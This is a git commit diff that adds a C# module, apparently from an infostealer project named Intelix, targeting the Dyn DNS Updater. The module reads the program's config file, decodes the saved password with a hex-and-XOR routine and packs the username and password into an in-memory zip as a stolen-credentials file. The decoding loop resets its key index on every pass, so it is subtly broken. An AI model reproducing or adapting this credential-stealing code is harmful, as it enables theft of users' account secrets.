initial commit
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class DynDns : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string[] array = File.ReadAllLines(text);
|
||||
if (array.Length != 0)
|
||||
{
|
||||
string text2 = "Dyn\\Passwords.txt";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Dyn";
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counter.Applications.Add(counterApplications);
|
||||
zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string DecryptDynDns(string encrypted)
|
||||
{
|
||||
string text = string.Empty;
|
||||
for (int i = 0; i < encrypted.Length; i += 2)
|
||||
{
|
||||
text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber);
|
||||
}
|
||||
char[] array = text.ToCharArray();
|
||||
char[] array2 = new char[text.Length];
|
||||
for (int j = 0; j < array2.Length; j++)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = 0;
|
||||
array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1)));
|
||||
num = (num + 1) % 8;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
return new string(array2);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user